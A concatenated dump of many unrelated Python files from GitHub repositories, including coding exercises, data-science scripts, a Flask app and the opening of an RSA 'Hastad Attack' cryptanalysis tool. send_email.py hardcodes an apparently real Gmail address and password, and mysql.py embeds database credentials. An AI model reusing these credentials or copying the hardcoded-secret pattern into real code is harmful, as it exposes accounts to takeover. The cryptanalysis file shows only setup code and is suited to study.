9920ec407686d58754af23a6b217e5e050c75232 | ankushbhatia2/LeetCode | /Wildcard-Matching.py | UTF-8 | 733 | 2.859375 | 3 | [] | no_license | class Solution(object):
def isMatch(self, s, p):
"""
:type s: str
:type p: str
:rtype: bool
"""
lp, ls = len(p), len(s)
dp = [[False for j in xrange(lp + 1)] for i in xrange(ls + 1)]
dp[0][0] = True
for j in xrange(lp):
if p[j] == ... | true |
9e488040df4cb8c6d30a62b33c94cc294a77fa8a | folkene/pyjadx | /examples/partial_decompilation.py | UTF-8 | 2,690 | 2.515625 | 3 | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | import pyjadx
import sys
import argparse
import pygments
import pathlib
CWD = pathlib.Path(".").resolve().absolute()
try:
import pyAMI
except ImportError as e:
print("This script requires pyAMI (https://github.com/romainthomas/AMI)")
sys.exit(1)
jadx = pyjadx.Jadx()
def resolve_worklist(japp, wl, outpu... | true |
6cf3a86dda9bfeebc60210bdf7e2cec516a54cd0 | vishnugt/youtube-dl-plugin | /youtube-dl-plugin/youtube_dl_plugin.py | UTF-8 | 2,379 | 2.984375 | 3 | [] | no_license | import time
import threading
import os
import subprocess
import sys
import pyperclip
from configparser import ConfigParser
def read_config_download_quality():
"""Reads configuration file to retrieve download quality that should be used by youtube-dl"""
config = ConfigParser()
config.read('youtube_dl_plugi... | true |
b2991334cb60b76e9ef9a05d91f8723622c2a51b | lampholder/did | /did.py | UTF-8 | 2,537 | 2.609375 | 3 | [
"Apache-2.0"
] | permissive | #!/Users/tom/.virtualenvs/did/bin/python3
import sys
import json
from datetime import datetime, timedelta
from pathlib import Path
class TimeParser(object):
@staticmethod
def is_float(string):
try:
float(string)
return True
except ValueError:
return False
... | true |
09d1e6d69c4a723b1474ab4d27ae2402cb4ff4a7 | payam49er/pythonbasics | /Classes.py | UTF-8 | 967 | 4.15625 | 4 | [
"MIT"
] | permissive | #create a class
class User:
def __init__(self,name, email,age):
self.name = name
self.email = email
self.age = age
def greeting(self):
return f'My name is {self.name}'
def has_birthday(self):
self.age +=1
#initialize user object
payam = User('Payam Shoghi','payam... | true |
c1067196c5af3eb792ee6107cb13bdcd29474e67 | jasmine-vo/Flask-Skills-Assessment | /server.py | UTF-8 | 1,443 | 2.53125 | 3 | [] | no_license | from flask import Flask, request, render_template
from flask_debugtoolbar import DebugToolbarExtension
from jinja2 import StrictUndefined
app = Flask(__name__)
app.jinja_env.undefined = StrictUndefined
app.jinja_env.auto_reload = True
# Required to use Flask sessions and the debug toolbar
app.secret_key = "ABC"
# ... | true |
036608abdadae7e55dda5c5de49166a21af23cf2 | Ilan-2019/developercenter-tutorials | /analytics-conversation-aggregate-query/python/analytics-conversation-aggregate-query.py | UTF-8 | 2,732 | 2.546875 | 3 | [
"MIT"
] | permissive | import base64, sys, requests
from datetime import datetime, timedelta
import PureCloudPlatformClientV2
from pprint import pprint
from PureCloudPlatformClientV2.rest import ApiException
def get_interval_string():
""" Gets an ISO-8601 interval from now for the last 7 days """
now = datetime.now().replace(micros... | true |
8ba0bba5994d2f7c4488d3e8720ed1b02929b986 | SaeedTaghavi/stochastic_neuron | /loop-over-sigma/stochastic-LIT-loopOverSigma.py | UTF-8 | 2,270 | 3 | 3 | [] | no_license | import numpy as np
import pylab as plt
from matplotlib import rc, rcParams
rc('text',usetex=True)
# Change all fonts to 'Computer Modern'
rc('font',**{'family':'serif','serif':['Computer Modern']})
tau_m =10.0 #ms
Rm = 10.0 #Mohm
Vth = -50.0 #mV
EL=Vr=-65.0 #mV
# tau_m * dV/dt = EL - V + Rm * Ie
s... | true |
a454a18c91b8612492fec1bfda943e90975f041d | vrlogic/Cave-Calculator | /caveWallCalculator.py | UTF-8 | 5,187 | 3.078125 | 3 | [] | no_license | import viz
import vizact
import vizinfo
import vizinput
wallHeight = vizinput.input('Enter the wall height:')
wallWidth = vizinput.input('Enter the wall width:')
a = float(wallHeight)
b = float(wallWidth)
#################
####FrontWall####
#################
#upperLeft
upLeFroX = -(b / 2)
upLeFroY = a
upLeFroZ = b... | true |
bea5e74a382527db20cb9610332dd39107849950 | thehighestmath/ANN-2021 | /8383/Pereverzev/lb/1/main.py | UTF-8 | 1,681 | 2.765625 | 3 | [] | no_license | import pandas
from tensorflow.keras.layers import Dense
from tensorflow.keras.models import Sequential
from tensorflow.keras.utils import to_categorical
from sklearn.preprocessing import LabelEncoder
import matplotlib.pyplot as plt
dataframe = pandas.read_csv("iris.csv", header=None)
dataset = dataframe.values
X = da... | true |
a8a705392d5d62f2037ba75de7847929d40d4a2e | Szturmowiec/various-scripts-for-generating-plots-or-validating-output | /histograms_difference_comparsion.py | UTF-8 | 2,853 | 2.84375 | 3 | [] | no_license | from ROOT import TFile, Double
import sys
f=TFile.Open(sys.argv[1])
f2=TFile.Open(sys.argv[2])
def compare_histos(h,h2):
binsh=h.GetXaxis().GetNbins();
binsh2=h2.GetXaxis().GetNbins();
if binsh!=binsh2:
print("Histograms have different number of bins, "+str(binsh)+" and "+str(binsh2))
prin... | true |
7c26a308343fc7b0c38d5e9e0537603e5cdde031 | jsliang0417/Ebay_Price_Tracker | /send_email.py | UTF-8 | 613 | 2.78125 | 3 | [] | no_license | import smtplib
gmail_user = 'programtesting082021@gmail.com'
pwd = 'MacSteve2000417'
sent_from = gmail_user
to = 'jackliang0417@gmail.com'
subject = 'Testing Email'
body = 'This is a testing email sent by python'
email_text = """\
From: %s
To: %s
Subject: %s
%s
"""%(sent_from, to, subject, body)
def send(text)... | true |
1b22ff364798f8ca88e02cbab8b6e0a1000dba5c | sofijaengelson/MachineLearningLab | /Psych_and_Drug.py | UTF-8 | 26,581 | 2.625 | 3 | [
"MIT"
] | permissive | # -*- coding: utf-8 -*-
'''
Course: Machine Learning Lab given by Prof. Brefeld
Project: Risk prediction for drug consumption based on psychological factors
Authors: Johanna Regenthal and Sofija Engelson
Due date: 1st Mar 2021
'''
#%%
# ---------- 0. Preliminaries -------------------------------------------------
from... | true |
d871a8dc7ac29641d030d43da959745562823943 | BaiLibl/imbalance-data | /dl_demo/demo.py | UTF-8 | 2,324 | 2.609375 | 3 | [] | no_license | import torch
import torchvision
import torchvision.transforms as transforms
from collections import Counter
from torch.utils.tensorboard import SummaryWriter
from torchvision import datasets, transforms
# Writer will output to ./runs/ directory by default
writer = SummaryWriter()
#tensorboard --logdir=runs --port 812... | true |
ff8326e6b0438e4b31ca3b6850ae7f8f03d467ec | zweisamkeit/Security | /Cryptanalysis/RSHack/Attacks/Hastad/hastad.py | UTF-8 | 2,368 | 3.296875 | 3 | [] | no_license | #!/usr/bin/python2.7
# -*- coding: utf-8 -*-
# Hastad Attack
# Zweisamkeit
# 05/07/17
# GNU/GPL v3
import sys
import argparse
from Crypto.PublicKey import RSA
import gmpy2
# Accueil
def accueil():
print ("\n")
print ("\t~~~~~~~~~~~~~~~~~~~~~~~~~")
print ("\t Hastad Attack ")
print ("\t Zwei... | true |
6e21024565a9c9fa3f1d9a0933a109bece8d8699 | ahojcn/practice-code | /Python/function/Fact.py | UTF-8 | 522 | 4.25 | 4 | [] | no_license | def fact(n):
return fact_iter(n, 1)
def fact_iter(num, product):
if num == 1:
return product
return fact_iter(num - 1, num * product)
print(fact(1))
print(fact(5))
'''
===> fact_iter(5, 1)
===> fact_iter(4, 5)
===> fact_iter(3, 20)
===> fact_iter(2, 60)
===> fact_iter(1, 120)
===> 120
'''
'''
汉... | true |
96e39cca00e4db2f39330b92eab20c3834d85a3a | TylerWilson61/chat-server-project | /icschat/registration.py | UTF-8 | 1,815 | 2.578125 | 3 | [] | no_license | import sys
from PyQt5.QtWidgets import *
from PyQt5.QtGui import QIcon, QPixmap
from login_window import login
class register(QWidget):
def __init__(self):
super().__init__()
# self.title = 'ET CHAT'
# self.left = 300
# self.top = 100
# self.width = 250
# se... | true |
7f109787a6ca076f1b5273e883de3a1c7d0ec8d3 | whd376908943/python | /mysql/mysql.py | UTF-8 | 1,521 | 2.671875 | 3 | [] | no_license | #!/usr/local/env python
# coding:utf-8
# mysql select
import MySQLdb
conn = MySQLdb.connect(host='192.168.189.128', user='root', passwd='hadoop', db='mydb')
cur = conn.cursor()
sql = 'select tomcat from tomcat '
cur.execute(sql)
# data = cur.fetchmany(2)
# print data
# for i in range(line):
# data = cur.fetchon... | true |
a21dddd22887e06815e41ad486c5984fea7061d1 | StevenMHernandez/TrinaryMC | /main_mds.py | UTF-8 | 536 | 2.515625 | 3 | [] | no_license | from time import time
from simulator.simulator_single_step_mds import SimulatorSingleStepMDS
if __name__ == "__main__":
start = time()
num_nodes = 11
max_v = 10
errors = []
for i in range(50):
packet = SimulatorSingleStepMDS().run(max_v=max_v, num_nodes=num_nodes, should_plot=False)
... | true |
ca8113e325fc80ea4ae58ed0f162078002e2fe98 | seoyoonbaek/Algorithm_2021 | /bj_5041.py | UTF-8 | 926 | 3.3125 | 3 | [] | no_license | from collections import deque
import sys
read = sys.stdin.readline
def bfs(v, cnt):
q = deque([[v, cnt]])
visited[v] = True
while q:
v, cnt = q.popleft()
#버튼 횟수니까 첫 시작 층에서는 cnt 없는 게 맞
#cnt+=1
#(uv or du)==G말고 이게 맞음(queue는 다음 갈 곳들을 넣어두는 것 뿐, 진짜 움직이는 건 pop할 때니까!)
if ... | true |
59c2dbce50bb37789c6469726734813dea553447 | fellmirr/TDT4126-Assignment-2 | /SearchNode.py | UTF-8 | 367 | 3.015625 | 3 | [] | no_license | import math
from enum import Enum
class SearchNode():
state = (None, None)
g = math.inf
h = math.inf
parent = None
children = None
def __init__(self, state, h, parent = None):
self.state = state
self.parent = parent
self.h = h(self.state)
def f(self):
return self.g + self.h
def __gt_... | true |
56462e4bf16d5456a15c8b89c17fbfdea29f1ef8 | alexisflores99/Repo-for-Python | /sentenciaIF.py | UTF-8 | 213 | 3.328125 | 3 | [] | no_license | nota = float(input("Ingresa tu nota papaceto: "))
if nota== 10:
print("Nota excelente")
elif nota>=9:
print("Nota muy buena")
elif nota >5 :
print("vaaala")
else:
print("Que chucha te pasa loco")
| true |
806b7d7316f696f6d50a73658e862d70bc3d181d | DMGAP/Python-Hackerrank | /printfunc.py | UTF-8 | 121 | 3.609375 | 4 | [
"MIT"
] | permissive | def not_string (n):
for i in range (1,n):
print(i,end='')
return n
n = int(input())
print(not_string(n)) | true |
b7c09e19c8e7cdaf1c42be42d9ce14755cf8a485 | laskari/pyss3 | /examples/movie_review.py | UTF-8 | 4,140 | 3.390625 | 3 | [
"MIT"
] | permissive | # coding: utf-8
"""
Movie Review (Sentiment Analysis) Tutorial Source Code (Classic Workflow).
(https://pyss3.readthedocs.io/en/latest/tutorials/movie-review.html#movie-review_classic-workflow)
---
"""
# Before we begin, let's import needed modules...
from pyss3 import SS3
from pyss3.util import Dataset
from pyss3.se... | true |
d4e9019361a81e6837b4d59260d44609f2eaf313 | xiaxio/UdacityMachineLearningForTrading | /Lesson_07.py | UTF-8 | 4,673 | 3.578125 | 4 | [] | no_license | # Histograms and scatter plots
# To save environment (requirements) of the project in a file:
# https://www.jetbrains.com/help/pycharm/managing-dependencies.html
""" Plot a histogram """
import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
from Lesson_05 import get_data, plot_data
def compute_dail... | true |
ef756f384e9376f8f2538b0b3b412a0789a9df10 | ararifbd/Sarcasm_detection_package | /scripts/constants.py | UTF-8 | 8,848 | 2.515625 | 3 | [
"MIT"
] | permissive | emoji_sentiment = {'😷': -1,
'❤': 1,
'😉': 1,
'♥': 1,
'😂': 1,
'😳': -1,
'💫': 1,
'😭': -1,
'😔': -1,
'☺': 1,
'😩': -1,
... | true |
6f7a8a7af90e331b4ed70de7193dd6c85d8d0578 | wangy8961/apscheduler-demo | /manage.py | UTF-8 | 1,287 | 2.6875 | 3 | [] | no_license | # -*- coding: utf-8 -*-
import os
import time
from threading import current_thread
from apscheduler.schedulers.background import BackgroundScheduler
from apscheduler.executors.pool import ThreadPoolExecutor, ProcessPoolExecutor
from logger import logger
def job():
"""耗时 30 秒的函数"""
logger.info('job thread_id... | true |
04b14951804b818b712f748bf780e9dc83dd68ca | xzjqx/python-study | /TCP-IP/FileClient.py | UTF-8 | 1,511 | 2.953125 | 3 | [] | no_license | import socket
import sys
import time
ip = '127.0.0.1'
port = 6789
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def recvfile(filename):
print "server ready, now client rece file~~"
f = open(filename, 'wb')
while True:
data = s.recv(4096)
if data == 'EOF':
print "recv fi... | true |
8e833015520a0e680cfb0ed80bbf549708364ac2 | anjana996/luminarpython | /LuminarPython/regularexpsn/predefinedcharectrset.py | UTF-8 | 373 | 2.921875 | 3 | [] | no_license | from re import *
#pattern="\s"#check for spaces
#pattern="\d"#print digits
#pattern="\D"#print ecept digits
#pattern="\w"#all charechtrs exept special char
#pattern="\W"#all special char
pattern=
count=0
matcher=finditer(pattern,'abcabcbabcbacbabbabnbajkj &*123' )
for match in matcher:
print(match.start())
pri... | true |
52ef60fd3a32e97510e1a8b72e35fa2997e6b09e | davidmatthews1uvm/2020-ALIFE | /TPR_3/testGraphViz.py | UTF-8 | 452 | 2.984375 | 3 | [] | no_license | import matplotlib.pyplot as plt
import networkx as nx
try:
from networkx import graphviz_layout
except ImportError:
raise ImportError("This example needs Graphviz and either PyGraphviz or Pydot")
G = nx.balanced_tree(3, 5)
pos = nx.graphviz_layout(G, prog='twopi', args='')
plt.figure(figsize=(8, 8))
nx.draw(G... | true |
634002c6b7e87f19a98535a2bce1a8bf82c12d65 | HoldenGs/holbertonschool-webstack_back_end | /0x00-restful_api_users/tests/test_models/test_user.py | UTF-8 | 3,278 | 3.125 | 3 | [] | no_license | import unittest
from models.user import User
class TestUser(unittest.TestCase):
# user.to_dict()
def test_to_dict_no_pwd(self):
user = User()
user.password = "Hello World"
d = user.to_dict()
self.assertEqual(None, d.get('password'))
def test_to_dict_time_strings(self):
user = User()
d = user.to_dict(... | true |
8bc3c61a0f1d3b42d98d3aeb4f741c663b0e049e | gregoriovictorhugo/Curso-de-Python | /Mundo-02/pyteste Mundo02/aula014b.py | UTF-8 | 466 | 4.125 | 4 | [] | no_license | '''for c in range(1, 3):
n = int(input('Digite um valor: '))
print('Fim')'''
# Considerando processo com uma quantidade não conhecida de entradas:
# Loop sem fim até você digitar 0:
n = 1
while n != 0:
n = int(input('Digite um valor: '))
print('Fim')
# Pode ser também com string, de forma qu o operador escolh... | true |
37dd586f924a7c3398b3f8bc737f4b14639b9a01 | yuerongz/LSTM-model-for-SRR-DL-Burnett | /data_extraction.py | UTF-8 | 1,571 | 3.015625 | 3 | [] | no_license | import csv
def read_csv(csvfile_name):
output = []
with open(csvfile_name, newline='') as csvfile:
reader = csv.reader(csvfile)
for row in reader:
output.append(row)
return output
def build_event_name_dict(csvfile_name):
csv_ls = read_csv(csvfile_name)
output = dict()... | true |